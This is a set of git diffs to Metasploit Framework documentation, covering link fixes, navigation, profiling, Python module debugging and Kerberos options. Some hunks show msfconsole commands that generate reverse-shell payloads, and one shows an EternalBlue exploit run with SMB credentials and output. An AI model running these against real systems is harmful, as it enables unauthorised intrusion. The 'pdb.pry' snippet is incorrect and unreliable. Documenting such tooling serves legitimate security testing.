Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.
|
||||
Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.
|
||||
|
||||
@@ -20,7 +20,7 @@ Tools like Veil, pwnlib, etc. have for a long time used native compilers and too
|
||||
|
||||
### Native first-class UUID-aware, async stager payload
|
||||
|
||||
Make a new async payload type (based on pingback payload work) making secure comms, endpoint verification, and async communication first-class citizens, and on by default. These session types would support a much more limited set of actions than Meterpreter, only supporting sleep/upload/download/stage, but would be upgraded to Meterpreter directly as-needed (maybe even transparently). Network protocols can be much more exotic for this, and the listener/payload should be usable externally from Metasploit as well. Todo: pull in async payload proposal notes from @bwatters-r7.
|
||||
Make a new async payload type (based on pingback payload work) making secure comms, endpoint verification, and async communication first-class citizens, and on by default. These session types would support a much more limited set of actions than Meterpreter, only supporting sleep/upload/download/stage, but would be upgraded to Meterpreter directly as-needed (maybe even transparently). Network protocols can be much more exotic for this, and the listener/payload should be usable externally from Metasploit as well. Todo: pull in async payload proposal notes from [@bwatters-r7](https://github.com/bwatters-r7).
|
||||
|
||||
## Module Interface
|
||||
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
Metasploit has inbuilt tooling for measuring the performance of commands and generating CPU/memory reports after msfconsole or msfvenom is closed.
|
||||
|
||||
### Measuring CPU/memory
|
||||
|
||||
You can measure CPU/memory usage when starting msfconsole/msfvenom with environment variables:
|
||||
|
||||
```
|
||||
METASPLOIT_CPU_PROFILE=true ./msfconsole -x 'exit'
|
||||
METASPLOIT_MEMORY_PROFILE=true ./msfconsole -x 'exit'
|
||||
```
|
||||
|
||||
Granular CPU/memory performance can be recorded using Ruby blocks:
|
||||
|
||||
```ruby
|
||||
Metasploit::Framework::Profiler.record_cpu do
|
||||
# ...
|
||||
end
|
||||
```
|
||||
|
||||
```ruby
|
||||
Metasploit::Framework::Profiler.record_memory do
|
||||
# ...
|
||||
end
|
||||
```
|
||||
|
||||
In both scenarios, reports will be generated and written to disk that can be opened in a file editor/browser.
|
||||
|
||||
### Measuring command performance
|
||||
|
||||
The `time` command in msfconsole can be used to record the performance of a command:
|
||||
|
||||
```msf
|
||||
msf6 exploit(windows/smb/ms17_010_psexec) > time reload
|
||||
[*] Reloading module...
|
||||
[+] Command "reload" completed in 0.20876399998087436 seconds
|
||||
```
|
||||
|
||||
It is possible to record CPU and memory usage with the `--memory` and `--cpu` flags:
|
||||
|
||||
```msf
|
||||
msf6 exploit(windows/smb/ms17_010_psexec) > time --cpu search smb
|
||||
... etc ...
|
||||
Generating CPU dump /var/folders/wp/fp12h8q13kq7mvf4mll72c140000gq/T/msf-profile-2023030711505620230307-77101-4josw1/cpu
|
||||
[+] Command "search smb" completed in 0.4150249999947846 seconds
|
||||
```
|
||||
|
||||
Examples:
|
||||
|
||||
```
|
||||
time
|
||||
time -h
|
||||
time --help
|
||||
time search smb
|
||||
time --memory search smb
|
||||
time --cpu search smb
|
||||
```
|
||||
@@ -159,3 +159,30 @@ Module advanced options (auxiliary/scanner/http/title):
|
||||
VERBOSE false no Enable detailed status messages
|
||||
WORKSPACE no Specify the workspace for this module
|
||||
```
|
||||
|
||||
### HTTP Multiple-Headers
|
||||
Additional headers can be set via the `HTTPRawHeaders` option.
|
||||
A file containing a ERB template will be used to append to the headers section of the HTTP request.
|
||||
An example of an ERB template file is shown below.
|
||||
```
|
||||
Header-Name-Here: <%= 'content of header goes here' %>
|
||||
```
|
||||
|
||||
The following output shows leveraging the scraper scanner module with an additional header stored in ```additional_headers.txt```.
|
||||
```msf
|
||||
msf6 auxiliary(scanner/http/scraper) > cat additional_headers.txt
|
||||
[*] exec: cat additional_headers.txt
|
||||
|
||||
X-Cookie-Header: <%= 'example-cookie' %>
|
||||
msf6 auxiliary(scanner/http/scraper) > set HTTPRAWHEADERS additional_headers.txt
|
||||
HTTPRAWHEADERS => additional_headers.txt
|
||||
msf6 auxiliary(scanner/http/scraper) > exploit
|
||||
|
||||
####################
|
||||
# Request:
|
||||
####################
|
||||
GET / HTTP/1.0
|
||||
Host: 172.16.0.63:8000
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
|
||||
X-Cookie-Header: example-cookie
|
||||
```
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
The Loginpalooza contest is over! Congrats and thanks to @TomSellers, @ChrisTuncer, and @0a2940!
|
||||
The Loginpalooza contest is over! Congrats and thanks to [@TomSellers](https://github.com/TomSellers), [@ChrisTruncer](https://github.com/ChrisTruncer), and [@0a2940](https://github.com/0a2940)!
|
||||
|
||||
The list of [modules to refactor](#modules-to-refactor) is still here. Modules that get refactored should be removed from the list entirely.
|
||||
|
||||
@@ -115,4 +115,4 @@ If you'd like to learn how to convert your favorite existing module, or write a
|
||||
- [ ]
|
||||
[post/windows/gather/enum_domains.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_domains.rb) - Creates realms
|
||||
- [ ]
|
||||
[post/windows/gather/enum_logged_on_users.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_logged_on_users.rb) - Creates publics but not privates
|
||||
[post/windows/gather/enum_logged_on_users.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_logged_on_users.rb) - Creates publics but not privates
|
||||
|
||||
@@ -83,7 +83,7 @@ php shell_http.php
|
||||
|
||||
```
|
||||
use windows/x64/meterpreter_reverse_tcp
|
||||
generate -f exe -o shell.exe MeterpreterDebugBuild=true MeterpreterDebugLogging='rpath:C:/test/foo.txt'
|
||||
generate -f exe -o shell.exe MeterpreterDebugBuild=true MeterpreterDebugLogging='rpath:C:/Windows/Temp/foo.txt'
|
||||
|
||||
to_handler
|
||||
```
|
||||
|
||||
@@ -12,7 +12,7 @@ The Meterpreter that we have known and loved for years has always had the abilit
|
||||
|
||||
Recent modifications to Meterpreter have changed this. Meterpreter has a new [[configuration system|Meterpreter-Configuration]] that supports multiple transports and it now supports the addition of new transports while the session is still running. With the extra transports configured, Meterpreter allows the user to cycle through those transports without shutting down the session.
|
||||
|
||||
Not only that, but Meterpreter will cycle through these transports automatically when communication fails. For more information on the session resiliency features, please view the [Meterpreter Reliable Network Communication][].
|
||||
Not only that, but Meterpreter will cycle through these transports automatically when communication fails. For more information on the session resiliency features, please view the [[Meterpreter Reliable Network Communication|[[reliable network communication documentation|./Meterpreter-Reliable-Network-Communication.md]].
|
||||
|
||||
This document describes how multiple transports are added to an existing Meterpreter session.
|
||||
|
||||
@@ -78,7 +78,7 @@ The first part of the output is the session expiry time. To learn more about exp
|
||||
|
||||
The above output shows that we have one transport enabled that is using `TCP`. We can infer that the transport was a `reverse_tcp` (rather than `bind_tcp`) due to the fact that there is a host IP address in the transport URL. If it was a `bind_tcp`, this would be blank.
|
||||
|
||||
`Comms T/O` refers to the communications timeout value. `Retry Total` is the total time to attempt reconnects on this transport, and `Retry Wait` indicates how often a retry of the current transport should happen. Each of these is documented in depth in the [Timeout documentation][].
|
||||
`Comms T/O` refers to the communications timeout value. `Retry Total` is the total time to attempt reconnects on this transport, and `Retry Wait` indicates how often a retry of the current transport should happen. Each of these is documented in depth in the [[Timeout documentation|./meterpreter-timeout-control.md]].
|
||||
|
||||
The verbose version of this command shows more detail about the transport, but only in cases where extra detail is available (such as `reverse_http/s`). The following command shows the output of the `list` sub-command with the verbose flag (`-v`) after an `HTTP` transport has been added:
|
||||
|
||||
@@ -362,6 +362,3 @@ The following Meterpreter implementations currently support the transport comman
|
||||
* Android
|
||||
* Java
|
||||
* Python
|
||||
|
||||
[Timeout documentation]: https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-timeout-control.html
|
||||
[Reliable Network documentation]: https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-reliable-network-communication.html
|
||||
@@ -0,0 +1,66 @@
|
||||
## Metasploit modules
|
||||
|
||||
There are currently {{ site.metasploit_total_module_count }} Metasploit modules:
|
||||
|
||||
{{ site.metasploit_nested_module_counts | module_tree: "All Modules", true }}
|
||||
|
||||
## Module types
|
||||
|
||||
### Auxiliary modules ({{ site.metasploit_module_counts["auxiliary"] }})
|
||||
|
||||
Auxiliary modules do not exploit a target, but can perform useful tasks such as:
|
||||
|
||||
- Administration - Modify, operate, or manipulate something on target machine
|
||||
- Analyzing - Tools that perform analysis, mostly password cracking
|
||||
- Gathering - Gather, collect, or enumerate data from a single target
|
||||
- Denial of Service - Crash or slow a target machine or service
|
||||
- Scanning - Scan targets for known vulnerabilities
|
||||
- Server Support - Run Servers for common protocols such as SMB, FTP, etc
|
||||
|
||||
### Encoder modules ({{ site.metasploit_module_counts["encoder"] }})
|
||||
|
||||
Encoders take the raw bytes of a payload and run some sort of encoding algorithm, like bitwise XOR. These modules are useful for encoding
|
||||
bad characters such as null bytes.
|
||||
|
||||
### Evasion modules ({{ site.metasploit_module_counts["evasion"] }})
|
||||
|
||||
Evasion modules give Framework users the ability to generate evasive payloads that aim to evade AntiVirus, such as Windows Defender,
|
||||
without having to install external tools.
|
||||
|
||||
### Exploit modules ({{ site.metasploit_module_counts["exploit"] }})
|
||||
|
||||
Exploit modules are used to leverage vulnerabilities in a manner that allows the framework to execute arbitrary code.
|
||||
The arbitrary code that is executed is referred to as the payload.
|
||||
|
||||
### Nop modules ({{ site.metasploit_module_counts["nop"] }})
|
||||
|
||||
Nop modules, short for 'No Operation', generate a sequence of 'No Operation' instructions that perform no side-effects.
|
||||
NOPs are often used in conjunction with stack buffer overflows.
|
||||
|
||||
### Payloads modules ({{ site.metasploit_module_counts["payload"] }})
|
||||
|
||||
In the context of Metasploit exploit modules, payload modules encapsulate the arbitrary code (shellcode) that is executed
|
||||
as the result of an exploit succeeding. This normally involves the creation of a Metasploit session, but may instead
|
||||
execute code such as adding user accounts, or executing a simple pingback command that verifies that code execution was successful against a vulnerable target.
|
||||
|
||||
Payload modules can also be used individually to generate standalone executables, or shellcode for use within exploits:
|
||||
|
||||
```msf
|
||||
msf6 payload(linux/x86/shell_reverse_tcp) > back
|
||||
msf6 > use payload/linux/x86/shell_reverse_tcp
|
||||
msf6 payload(linux/x86/shell_reverse_tcp) > set lhost 127.0.0.1
|
||||
lhost => 127.0.0.1
|
||||
msf6 payload(linux/x86/shell_reverse_tcp) > set lport 4444
|
||||
lport => 4444
|
||||
|
||||
# Generate a payload for use within C
|
||||
msf6 payload(linux/x86/shell_reverse_tcp) > generate -f c
|
||||
|
||||
# Generate an ELF file for execution on Linux environments
|
||||
msf6 payload(linux/x86/shell_reverse_tcp) > generate -f elf -o linux_shell
|
||||
```
|
||||
|
||||
### Post modules ({{ site.metasploit_module_counts["post"] }})
|
||||
|
||||
These modules are useful after a machine has been compromised and a Metasploit session has been opened. They perform useful
|
||||
tasks such as gathering, collecting, or enumerating data from a session.
|
||||
@@ -20,7 +20,7 @@ Linux packages are built nightly for .deb (i386, amd64, armhf, arm64) and .rpm (
|
||||
|
||||
### macOS manual installation
|
||||
|
||||
The latest OS X installer package can also be downloaded directly here: <https://osx.metasploit.com/metasploitframework-latest.pkg>, with the last 10 builds archived at <https://osx.metasploit.com/>. Simply download and launch the installer to install Metaploit Framework with all of its dependencies.
|
||||
The latest OS X installer package can also be downloaded directly here: <https://osx.metasploit.com/metasploitframework-latest.pkg>, with the last 8 builds archived at <https://osx.metasploit.com/>. Simply download and launch the installer to install Metasploit Framework with all of its dependencies.
|
||||
|
||||
## Installing Metasploit on Windows
|
||||
|
||||
|
||||
@@ -232,7 +232,7 @@ The full list of available functions is as follows:
|
||||
#### meterpreter.transport
|
||||
|
||||
* `meterpreter.transport.list()` - list all transports in the target.
|
||||
* `meterpreter.transport.add(url, session_expiry, comm_timeout, retry_total, retry_wait, ua, proxy_host, proxy_user, proxy_pass, cert_hash)` - allows for transports to be added to the Meterpreter session. All but the `url` parameter come with a sane default. Full details of each of these parameters can be found in the [transport][] documentation.
|
||||
* `meterpreter.transport.add(url, session_expiry, comm_timeout, retry_total, retry_wait, ua, proxy_host, proxy_user, proxy_pass, cert_hash)` - allows for transports to be added to the Meterpreter session. All but the `url` parameter come with a sane default. Full details of each of these parameters can be found in the [[transport|meterpreter-transport-control]] documentation.
|
||||
|
||||
It is not possible to delete transports using the python extension as this opens the door to many kinds of failure.
|
||||
|
||||
@@ -331,7 +331,6 @@ Hell no! But the goal is to get closer and closer to perfect as we go. It's up t
|
||||
|
||||
Please do, making good use of the Github issues feature. Better still, create a PR for one!
|
||||
|
||||
[transport]: https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-transport-control.html
|
||||
[inveigh]: https://github.com/Kevin-Robertson/Inveigh
|
||||
|
||||
## Currently Loadable Native Libraries
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
SQL Injection library support was added in 2020 by @red0xff during the Google Summer of Code.
|
||||
SQL Injection library support was added in 2020 by [@red0xff](https://github.com/red0xff) during the Google Summer of Code.
|
||||
|
||||
## Supported Databases
|
||||
|
||||
|
||||
+2
-3
@@ -6,7 +6,7 @@ The Windows API comes with two ways to talk via HTTP/S, they are [WinInet][] and
|
||||
|
||||
The [WinInet][] API was designed for use in desktop applications. It provides all the features required by applications to use HTTP/S while delegating much of the responsibilty of handling implementation detail to the underlying API and OS. This API can result in some user interface elements appearing if not handled correctly.
|
||||
|
||||
[WinInet][] comes with some limitations, one of which is that it's close to impossible to do any kind of custom validation, parsing, or handling of SSL communications. One of the needs of Metasploit users is to be able to enable a [Paranoid Mode][] that forces Meterpreter to only talk with the appropriate endpoint. The goal is to prevent shells from being hijacked by unauthorised users. In order to do this, one of the things that was implemented was the verification of the SHA1 hash of the SSL certificate that Meterpreter reads from the server. If this hash doesn't match the one that Meterpreter is configured with, Meterpreter will shut down. [WinInet][] doesn't make this process possible without a _lot_ of custom work.
|
||||
[WinInet][] comes with some limitations, one of which is that it's close to impossible to do any kind of custom validation, parsing, or handling of SSL communications. One of the needs of Metasploit users is to be able to enable a [[Paranoid Mode|./meterpreter-paranoid-mode.md]] that forces Meterpreter to only talk with the appropriate endpoint. The goal is to prevent shells from being hijacked by unauthorised users. In order to do this, one of the things that was implemented was the verification of the SHA1 hash of the SSL certificate that Meterpreter reads from the server. If this hash doesn't match the one that Meterpreter is configured with, Meterpreter will shut down. [WinInet][] doesn't make this process possible without a _lot_ of custom work.
|
||||
|
||||
For applications such as this, [WinHTTP][] is the "preferred" option as deemed by Microsoft. This API is designed to work under a service, and provides a greater number of ways to interact with communications made over HTTP/S. With this API it was trivial to implement the SHA1 hash verification and force Meterpreter to shut down when a MITM is detected.
|
||||
|
||||
@@ -61,5 +61,4 @@ HTTP/S communications in Windows is a hairy beast, and trying to cater for all c
|
||||
[WinInet]: https://msdn.microsoft.com/en-us/library/windows/desktop/aa383630%28v=vs.85%29.aspx
|
||||
[WinHTTP]: https://msdn.microsoft.com/en-us/library/windows/desktop/aa382925%28v=vs.85%29.aspx
|
||||
[winhttp_wininet]: https://msdn.microsoft.com/en-us/library/windows/desktop/hh227298%28v=vs.85%29.aspx
|
||||
[Paranoid Mode]: https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-paranoid-mode.html
|
||||
[OJ]: https://github.com/OJ
|
||||
[OJ]: https://github.com/OJ
|
||||
|
||||
@@ -169,6 +169,99 @@ if __name__ == '__main__':
|
||||
```
|
||||
The example sends a get request to the given `rhost` and `targeturi`, then calls `logging.info()` on the result to have the output displayed in msfconsole.
|
||||
|
||||
### Debugging Python modules
|
||||
|
||||
If you want to run an external module as a standalone program from your metasploit-framework folder just specify the Python path to include
|
||||
the Metasploit library support and run the module directly:
|
||||
|
||||
```
|
||||
$ PYTHONPATH=./lib/msf/core/modules/external/python:$PYTHONPATH python3 ./modules/auxiliary/scanner/wproxy/att_open_proxy.py
|
||||
```
|
||||
|
||||
The Python module will wait for stdin to receive JSON-RPC input. Entering the request to run the module:
|
||||
|
||||
```jsonl
|
||||
{ "jsonrpc": "2.0", "id": "1337", "method": "run", "params": { "rhosts": ["127.0.0.1"], "rport": "49152" } }
|
||||
```
|
||||
|
||||
You will see the JSON-RPC responses printed to stdout:
|
||||
|
||||
```jsonl
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "debug", "message": "127.0.0.1:49152 - Connected"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "debug", "message": "127.0.0.1:49152 - Received 5 bytes"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "info", "message": "127.0.0.1:49152 - Does not match"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "debug", "message": "127.0.0.1:49152 - Does not match with: bytearray(b'xxxxx')"}}
|
||||
```
|
||||
|
||||
You can pipe the JSON-RPC request as well for automation purposes:
|
||||
|
||||
```
|
||||
echo '{ "jsonrpc": "2.0", "id": "1337", "method": "run", "params": { "rhosts": ["127.0.0.1"], "rport": "49152" } }' | PYTHONPATH=./lib/msf/core/modules/external/python:$PYTHONPATH python3 ./modules/auxiliary/scanner/wproxy/att_open_proxy.py
|
||||
```
|
||||
|
||||
The Python external modules can be run directly with command line options:
|
||||
|
||||
```
|
||||
$ PYTHONPATH=./lib/msf/core/modules/external/python:$PYTHONPATH python3.9 ./modules/auxiliary/scanner/wproxy/att_open_proxy.py --help
|
||||
usage: att_open_proxy.py [-h] --rhosts RHOSTS [--rport RPORT] [ACTION]
|
||||
|
||||
The Arris NVG589 and NVG599 routers configured with AT&T U-verse firmware 9.2.2h0d83 expose an un-authenticated proxy that allows connecting from WAN to LAN by MAC address.
|
||||
|
||||
positional arguments:
|
||||
ACTION The action to take (['run'])
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
--rport RPORT The target port, (default: 49152)
|
||||
|
||||
required arguments:
|
||||
--rhosts RHOSTS The target address
|
||||
```
|
||||
|
||||
For example:
|
||||
|
||||
```
|
||||
PYTHONPATH=./lib/msf/core/modules/external/python:$PYTHONPATH python3 ./modules/auxiliary/scanner/wproxy/att_open_proxy.py --rhosts 127.0.0.1 --rport 49152
|
||||
```
|
||||
|
||||
For exploit modules, the payload is encoded encoded using Base64 and specified in a top level `payload_encoded` key, implemented [here](https://github.com/rapid7/metasploit-framework/blob/668735e4185968405c0073465f9aafbf62930538/lib/msf/core/modules/external/templates/remote_exploit.erb#L36-L39).
|
||||
Below is an example of the ([now deleted](https://github.com/rapid7/metasploit-framework/pull/15217)) [ms17_010_eternalblue_win8.py](https://github.com/rapid7/metasploit-framework/blob/6dd298ebb76a1617e24da5e4c73e43a46b226a23/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py) module running:
|
||||
|
||||
```
|
||||
$ cat options.json
|
||||
{
|
||||
"jsonrpc": "2.0",
|
||||
"id": "1337",
|
||||
"method": "run",
|
||||
"params": {
|
||||
"VERBOSE": true,
|
||||
"RHOST": "192.168.144.131",
|
||||
"RPORT": "445",
|
||||
"GroomAllocations": 13,
|
||||
"ProcessName": "spoolsv.exe",
|
||||
"SMBUser": "test",
|
||||
"SMBPass": "123456",
|
||||
"payload_encoded": "/EiD5PDozAAA...etc...==="
|
||||
}
|
||||
}
|
||||
|
||||
$ cat options.json | PYTHONPATH=./lib/msf/core/modules/external/python:$PYTHONPATH python3 modules/exploits/windows/smb/ms17_010_eternalblue_win8.py
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "info", "message": "shellcode size: 1221"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "info", "message": "numGroomConn: 13"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "info", "message": "Target OS: Windows 10 Pro 10240"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "info", "message": "got good NT Trans response"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "info", "message": "got good NT Trans response"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "info", "message": "SMB1 session setup allocate nonpaged pool success"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "info", "message": "SMB1 session setup allocate nonpaged pool success"}}
|
||||
```
|
||||
|
||||
To add breakpoints to your Python code, add the below code snippet. Note that the interactive breakpoints will only work when
|
||||
running the external modules as standalone Python scripts, and won't work when running from msfconsole:
|
||||
|
||||
```python
|
||||
import pdb; pdb.pry
|
||||
```
|
||||
|
||||
## Coding with Style
|
||||
|
||||
All the Python code in Metasploit aims to be [PEP 8](https://www.python.org/dev/peps/pep-0008/) compliant. The biggest differences coming from Metasploit's Ruby style:
|
||||
@@ -202,4 +295,4 @@ The external modules communicate with framework via JSON-RPC. If your Python mod
|
||||
|
||||
[Metasploit Python library](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/modules/external/python/)
|
||||
|
||||
[ERB Templates](https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core/modules/external/templates)
|
||||
[ERB Templates](https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core/modules/external/templates)
|
||||
|
||||
+5
-10
@@ -2,7 +2,7 @@
|
||||
|
||||
This is a guide for setting up a developer environment to contribute modules, documentation, and fixes to the Metasploit Framework. If you just want to use Metasploit for legal, authorized hacking, we recommend instead you:
|
||||
|
||||
- Install the [open-source Omnibus installer][open-source-installer], or
|
||||
- Install the [[open-source Omnibus installer|./nightly-installers.md]], or
|
||||
- Use the pre-installed Metasploit on [Kali Linux][kali-user-instructions] or [Parrot Linux][parrot-user-instructions].
|
||||
|
||||
If you want to contribute to Metasploit, start by reading our [CONTRIBUTING.md], then follow the rest of this guide.
|
||||
@@ -155,7 +155,7 @@ cd ~/git/metasploit-framework
|
||||
$ ./msfconsole -qx "db_status; exit"
|
||||
```
|
||||
|
||||
Congratulations! You have now set up the [Metasploit Web Service (REST API)][msf-web-service] and the backend database.
|
||||
Congratulations! You have now set up the [[Metasploit Web Service (REST API)|./metasploit-web-service.md]] and the backend database.
|
||||
|
||||
## Optional: Tips to speed up common workflows
|
||||
|
||||
@@ -167,7 +167,7 @@ Making sure you're in the right directory to run `msfconsole` can become tedious
|
||||
echo 'alias msfconsole="pushd $HOME/git/metasploit-framework && ./msfconsole && popd"' >> ~/.bash_aliases
|
||||
```
|
||||
|
||||
Consider generating a GPG key to sign your commits. Read about [why][git-horror] and [how][signing-howto]. Once you have done this, consider enabling automatic signing of all your commits with the following command:
|
||||
Consider generating a GPG key to sign your commits. Read about [why][git-horror] and [[how|./committer-keys.md#signing-your-commits-and-merges]]. Once you have done this, consider enabling automatic signing of all your commits with the following command:
|
||||
|
||||
```
|
||||
cd *path to your cloned MSF repository on disk*
|
||||
@@ -176,7 +176,7 @@ git config commit.gpgsign true
|
||||
|
||||
Developers tend to customize their own [git aliases] to speed up common commands, but here are a few common ones:
|
||||
|
||||
```rc
|
||||
```
|
||||
[alias]
|
||||
# An easy, colored oneline log format that shows signed/unsigned status
|
||||
nicelog = log --pretty=format:'%Cred%h%Creset -%Creset %s %Cgreen(%cr) %C(bold blue)<%aE>%Creset [%G?]'
|
||||
@@ -212,12 +212,11 @@ You should see over 9000 tests run, mostly resulting in green dots, a few in yel
|
||||
|
||||
# Great! Now what?
|
||||
|
||||
We're excited to see your upcoming contributions of new modules, documentation, and fixes! Check out our [wiki documentation][wiki-documentation] and, if you're looking for inspiration, keep an eye out for [newbie-friendly pull requests and issues][newbie-friendly-prs-issues]. Please [submit your new pull requests][howto-PR] and reach out to us on [Slack] for community help.
|
||||
We're excited to see your upcoming contributions of new modules, documentation, and fixes! If you're looking for inspiration, keep an eye out for [newbie-friendly pull requests and issues][newbie-friendly-prs-issues]. Please [submit your new pull requests][howto-PR] and reach out to us on [Slack] for community help.
|
||||
|
||||
Finally, we welcome your feedback on this guide, so feel free to reach out to us on [Slack] or open a [new issue]. For their significant contributions to this guide, we would like to thank [@kernelsmith], [@corelanc0d3r], and [@ffmike].
|
||||
|
||||
[commercial-installer]:http://metasploit.com/download
|
||||
[open-source-installer]:https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
|
||||
[kali-user-instructions]:https://docs.kali.org/general-use/starting-metasploit-framework-in-kali
|
||||
[parrot-user-instructions]:https://parrotsec.org/docs/installation.html
|
||||
[CONTRIBUTING.md]:https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md
|
||||
@@ -240,14 +239,10 @@ Finally, we welcome your feedback on this guide, so feel free to reach out to us
|
||||
[find]:https://linux.die.net/man/1/find
|
||||
[$PATH]:https://askubuntu.com/questions/109381/how-to-add-path-of-a-program-to-path-environment-variable
|
||||
|
||||
[msf-web-service]:https://docs.metasploit.com/docs/using-metasploit/advanced/metasploit-web-service.html
|
||||
|
||||
[git-horror]:https://mikegerwitz.com/papers/git-horror-story#trust-ensure
|
||||
[signing-howto]:https://docs.metasploit.com/docs/development/maintainers/committer-keys.html#signing-howto
|
||||
|
||||
[git aliases]:https://git-scm.com/book/en/v2/Git-Basics-Git-Aliases
|
||||
[rspec]:https://www.rubyguides.com/2018/07/rspec-tutorial/
|
||||
[wiki-documentation]:https://docs.metasploit.com/#metasploit-development
|
||||
[newbie-friendly-prs-issues]:https://github.com/rapid7/metasploit-framework/issues?q=is%3Aopen+label%3Anewbie-friendly
|
||||
[howto-PR]:https://help.github.com/articles/about-pull-requests/
|
||||
[new issue]:https://github.com/rapid7/metasploit-framework/issues/new/choose
|
||||
|
||||
+20
-8
@@ -63,10 +63,15 @@ NAVIGATION_CONFIG = [
|
||||
path: 'Code-Of-Conduct.md',
|
||||
nav_order: 2
|
||||
},
|
||||
{
|
||||
path: 'Modules.md',
|
||||
title: 'Modules',
|
||||
nav_order: 3
|
||||
},
|
||||
{
|
||||
title: 'Pentesting',
|
||||
folder: 'pentesting',
|
||||
nav_order: 3,
|
||||
nav_order: 4,
|
||||
children: [
|
||||
{
|
||||
path: 'Metasploit-Guide-Setting-Module-Options.md',
|
||||
@@ -178,6 +183,10 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
path: '../../documentation/modules/auxiliary/admin/kerberos/ticket_converter.md',
|
||||
title: 'Converting kirbi and ccache files'
|
||||
},
|
||||
{
|
||||
path: '../../documentation/modules/auxiliary/admin/ldap/rbcd.md',
|
||||
title: 'RBCD - Resource-based constrained delegation'
|
||||
}
|
||||
]
|
||||
},
|
||||
@@ -211,7 +220,7 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
title: 'Using Metasploit',
|
||||
folder: 'using-metasploit',
|
||||
nav_order: 4,
|
||||
nav_order: 5,
|
||||
children: [
|
||||
{
|
||||
title: 'Getting Started',
|
||||
@@ -422,7 +431,7 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
title: 'Development',
|
||||
folder: 'development',
|
||||
nav_order: 5,
|
||||
nav_order: 6,
|
||||
children: [
|
||||
{
|
||||
title: 'Get Started ',
|
||||
@@ -596,10 +605,6 @@ NAVIGATION_CONFIG = [
|
||||
path: 'How-to-use-the-Seh-mixin-to-exploit-an-exception-handler.md',
|
||||
title: 'SEH Exploitation'
|
||||
},
|
||||
{
|
||||
path: 'How-to-clean-up-files-using-FileDropper.md',
|
||||
title: 'FileDropper'
|
||||
},
|
||||
{
|
||||
path: 'How-to-use-PhpEXE-to-exploit-an-arbitrary-file-upload-bug.md',
|
||||
title: 'PhpExe'
|
||||
@@ -686,6 +691,10 @@ NAVIGATION_CONFIG = [
|
||||
path: 'Using-ReflectiveDLL-Injection.md',
|
||||
title: 'ReflectiveDLL Injection'
|
||||
},
|
||||
{
|
||||
path: 'How-to-cleanup-after-module-execution.md',
|
||||
title: 'Cleanup'
|
||||
},
|
||||
]
|
||||
},
|
||||
{
|
||||
@@ -815,6 +824,9 @@ NAVIGATION_CONFIG = [
|
||||
},
|
||||
{
|
||||
path: 'Loading-Test-Modules.md'
|
||||
},
|
||||
{
|
||||
path: 'Measuring-Metasploit-Performance.md'
|
||||
}
|
||||
]
|
||||
},
|
||||
@@ -928,6 +940,6 @@ NAVIGATION_CONFIG = [
|
||||
},
|
||||
{
|
||||
path: 'Contact.md',
|
||||
nav_order: 5
|
||||
nav_order: 7
|
||||
},
|
||||
].freeze
|
||||
|
||||
@@ -56,19 +56,30 @@ The user's AES key to use for Kerberos authentication in hex string. Supported
|
||||
keys: 128 or 256 bits.
|
||||
|
||||
### SPN
|
||||
The Service Principal Name, the format is `service_name/FQDN` . Ex:
|
||||
cifs/dc01.mydomain.local. This option is only used when requesting a TGS.
|
||||
|
||||
This option is only used when requesting a TGS.
|
||||
|
||||
The Service Principal Name, the format is `service_name/FQDN`.
|
||||
Ex: cifs/dc01.mydomain.local.
|
||||
|
||||
### IMPERSONATE
|
||||
The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to
|
||||
request the ticket).
|
||||
|
||||
### KrbUseCachedCredentials
|
||||
|
||||
This option is only used when requesting a TGS.
|
||||
|
||||
If set to `true`, it looks for a matching TGT in the database and, if found,
|
||||
use it for Kerberos authentication when requesting a TGS. Note that this option
|
||||
only applies to `GET_TGS` action and has no effect on the `GET_TGT` action.
|
||||
use it for Kerberos authentication when requesting a TGS.
|
||||
Default is `true`.
|
||||
|
||||
### Krb5Ccname
|
||||
|
||||
This option is only used when requesting a TGS.
|
||||
|
||||
The Kerberos TGT to use when requesting the sevice ticket. If unset, the database will be checked'
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Requesting a TGT
|
||||
@@ -283,3 +294,42 @@ host service type name content i
|
||||
